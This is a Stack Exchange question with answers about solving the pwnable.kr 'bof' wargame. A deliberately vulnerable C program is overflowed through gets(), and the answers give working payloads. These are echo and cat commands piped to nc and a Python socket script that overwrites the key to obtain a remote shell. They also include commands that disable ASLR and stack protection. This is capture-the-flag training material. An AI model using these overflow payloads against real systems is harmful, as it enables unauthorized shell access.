6

I was solving bof challenge on http://pwnable.kr/play.php it is required to smash the stack of the following code

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
    char overflowme[32];
    printf("overflow me : ");
    gets(overflowme);   // smash me!
    if(key != 0xcafebabe){
        system("/bin/sh");
    }
    else{
        printf("Nah..\n");
    }
}
int main(int argc, char* argv[]){
    func(0xdeadbeef);
    return 0;
}

and I was given compiler version of that I was supposed to exploit the task was straightforward but when I overflow the array overflowme the control I never transfered to /bin/sh instead I get something like *** stack smashing detected ***: ./bof terminated attempt1: try filling the array with zeros except for the key but failed attempt2: get memory dump for where the array is stored and overflow the array with that dump but still failed

2
  • 6
    I'm voting to close this question as off-topic because I don't think that stackexchange is the right place to spoil wargames : they are meant to be played, and posting a complete solution will kill the fun for every player.
    – jvoisin
    Commented Jan 18, 2016 at 11:51
  • The reason the prefix is 52 bytes instead of 32 is there are also 8 bytes of canary, plus 8 bytes between the canary and the edge of the stack (the canary is at Stack[-0x10]) and 4 bytes between the edge of the stack and the parameter (the parameter is at Stack[0x4]), for a total of 20 bytes extra. Commented Jun 1, 2020 at 20:33

3 Answers 3

8

The answer from Jason is the correct solution. However, I wanted to give an alternative answer without Python, but from the terminal. IMO Python is always preferred for better automation, but sometimes you just wanna have a quick exploit done without extra tools.

With that in mind, one's natural attempt would be something like below:

echo -e "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xbe\xba\xfe\xca\x0a" | nc pwnable.kr 9000

After all, this is an exact replica of the code above in Python, right? Except, the server begs to differ:

*** stack smashing detected ***: /home/bof/bof terminated overflow me :

So, what is the problem, then?

Think about the command above, for a moment. It sends a bunch of characters to the stdin of the remote process, in the hopes of running /bin/sh. However, we still get greeted by the error. The reason for this, is that we are sending the correct payload, but then we are stopping. EOF. /bin/sh has no input, so execution continues to the next line, until the stack protector kicks in.

The reason why Python works and the echo command doesn't, is continuity. Python doesn't close the stream, while the terminal version does.

To prove it, here's a slightly longer version of the terminal exploit, which actually works:

echo -e "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xbe\xba\xfe\xca\x0a" > payload.bin

First, we save the exact payload as before, to a file named payload.bin in this case. Next, we run the following command:

cat payload.bin - | nc pwnable.kr 9000

(Note the - after payload.bin, after cat is done outputting contents of payload.bin, it will start outputting whatever comes in via stdin)

And voila! Now you are actually in. You can try typing shell commands, such as cat flag, or touch /tmp/pwned or whatever you like.

Whew! That was long. Hope this info will help other confused souls as it did help me a while ago.

8

You don't need to bypass gcc's stack smashing detection. If you overwrite key correctly, you get an interactive shell before the stack check is performed at the end of func(). Here's the proof in the form of a Python script:

import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("pwnable.kr", 9000))
s.send("A"*52 + "\xBE\xBA\xFE\xCA" + "\x0A")
print "You now have an interactive shell :)"
while True:
    s.send(raw_input() + "\x0A")
    print s.recv(1024)
5
  • well I tried this echo -n -e "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbe\xba\xfe\xca\x00" | nc pwnable.kr 9000 but it didn't work If you can spot If I missed something
    – u185619
    Commented Jan 16, 2016 at 23:42
  • gets() expects a line-feed character at the end of the input string, but you're instead using a null-byte at the end of your echo statement. Commented Jan 17, 2016 at 15:34
  • Also, I don't think \x00 works with echo. Commented Jan 17, 2016 at 16:22
  • actually it did work you can verify by piping the output to xxd
    – u185619
    Commented Jan 17, 2016 at 20:38
  • @AhmedAbdElMawgood very old question, but I have posted an answer that might help you understand why the version with echo won't work.
    – BitParser
    Commented Aug 19, 2018 at 14:00
6

first, you should disable ASLR system-wide, you can do this as follows:

echo "0" > /proc/sys/kernel/randomize_va_space

second, compile your program using flag with -zexecstack -fno-stack-protector -g

example gcc program.c -o program -zexecstack -fno-stack-protector -g

cheers :)

1
  • 2
    This won't help get that remote flag though :/
    – BitParser
    Commented Aug 19, 2018 at 14:01

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Not the answer you're looking for? Browse other questions tagged or ask your own question.